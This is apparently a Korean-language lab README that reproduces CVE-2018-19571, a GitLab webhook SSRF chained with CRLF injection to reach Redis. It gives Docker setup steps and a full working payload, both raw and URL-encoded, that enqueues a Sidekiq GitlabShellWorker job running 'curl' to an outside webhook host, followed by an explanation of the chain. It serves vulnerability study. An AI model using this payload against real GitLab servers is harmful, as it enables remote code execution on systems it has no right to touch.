
CVE-2018-19571 데모: GitLab SSRF CVE
이 저장소는 CVE-2018-19571의 재현이며, CRLF 인젝션 취약점과 결합될 경우 원격 코드 실행(RCE)으로 이어질 수 있는 방법을 보여줍니다.
GitLab CE/EE, 버전 8.18부터 11.3.11 이전의 11.x, 11.4.8 이전의 11.4, 11.5.1 이전의 11.5는 웹훅의 SSRF 취약점에 영향을 받습니다.
이 재현을 위해 취약한 GitLab 이미지를 사용하고 Docker Compose로 실행합니다.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
목표는 처리될 때 Redis로 페이로드가 전송되는 웹훅 URL을 제공하는 것입니다.
대기열에 추가될 이 페이로드는 Sidekiq Job을 포함하며, 실행 시 임의의 셸 코드를 실행합니다. 이 경우 플래그 값을 우리에게 복사해 올 것입니다.
먼저 각 단계를 수행한 후 각 단계가 무엇을 하는지 설명하겠습니다.
계정을 생성하거나 루트 계정으로 로그인하세요.
루트 비밀번호는 initial_root_password 파일에 지정된 대로 password여야 하지만, 가끔 제대로 로드되지 않을 수 있습니다.
이런 경우 루트 계정 비밀번호를 직접 수정해야 합니다.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Inside the shell
gitlab-rails console
# Inside the console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
그런 다음 http://localhost:5080으로 이동하여 로그인하세요.

프로젝트 생성 페이지로 이동하세요.
다음으로 http://localhost:5080/projects/new로 이동한 후 Import project 탭을 클릭하세요. Repo by URL 옵션이 있는 것을 확인할 수 있습니다. 이를 사용하여 SSRF 공격을 수행할 것입니다.

플래그를 받을 웹훅을 생성하세요.
https://webhook.site/에서 웹훅 URL을 생성하세요.
다음 페이로드의 웹훅 URL을 교체하세요:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
그런 다음 URL Encoder를 사용하여 위 내용을 인코딩합니다. 첫 번째 줄과 마지막 줄은 제외하고, 페이로드(앞의 공백과 줄바꿈 포함)만 인코딩한다는 점에 유의하세요. 또한 CRLF를 사용해야 합니다. 마지막으로 다음 문자들을 각각의 인코딩으로 교체하세요:
_: %5F.: %2E-: %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
위 단계가 실패하는 경우, 내부 서비스로의 아웃바운드 요청을 활성화해야 할 수 있습니다.

루트로 로그인한 후 http://localhost:5080/admin/application_settings/network에서 활성화할 수 있습니다.
이 공격을 위해 두 가지 취약점을 활용합니다. 첫 번째 취약점은 SSRF로, IPv6를 통해 내부 서비스에 접근할 수 있습니다. 자세한 내용은 GitLab 이슈에서 확인할 수 있습니다: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
두 번째 취약점은 웹훅 URL에 줄바꿈이 허용되었다는 점입니다.
이 두 가지가 결합되어 내부 서비스에 페이로드를 전달할 수 있게 됩니다. 이 경우 로컬 Redis 서비스를 대상으로 합니다.
전달하는 페이로드는 Redis 대기열에 새 작업을 추가하며, 이 작업은 실제로 Ruby on Rails에서 동작하는 비동기 작업 실행기인 Sidekiq에 의해 처리됩니다. 우리는 특히 GitlabShellWorker 작업 클래스를 대상으로 하며, 이를 통해 임의 코드를 실행할 수 있습니다.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
따라서 open('| curl <URL HERE>').read를 전달하고 class_eval로 실행함으로써 원격 코드 실행을 트리거할 수 있습니다.
(또는 위 페이로드를 바로 사용하고, https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/에서 출력을 확인할 수 있습니다.)

웹훅에 GET 요청이 전송된 것을 확인할 수 있습니다(GitLab이 저장소를 반복적으로 가져오려 하므로 요청이 반복됩니다).
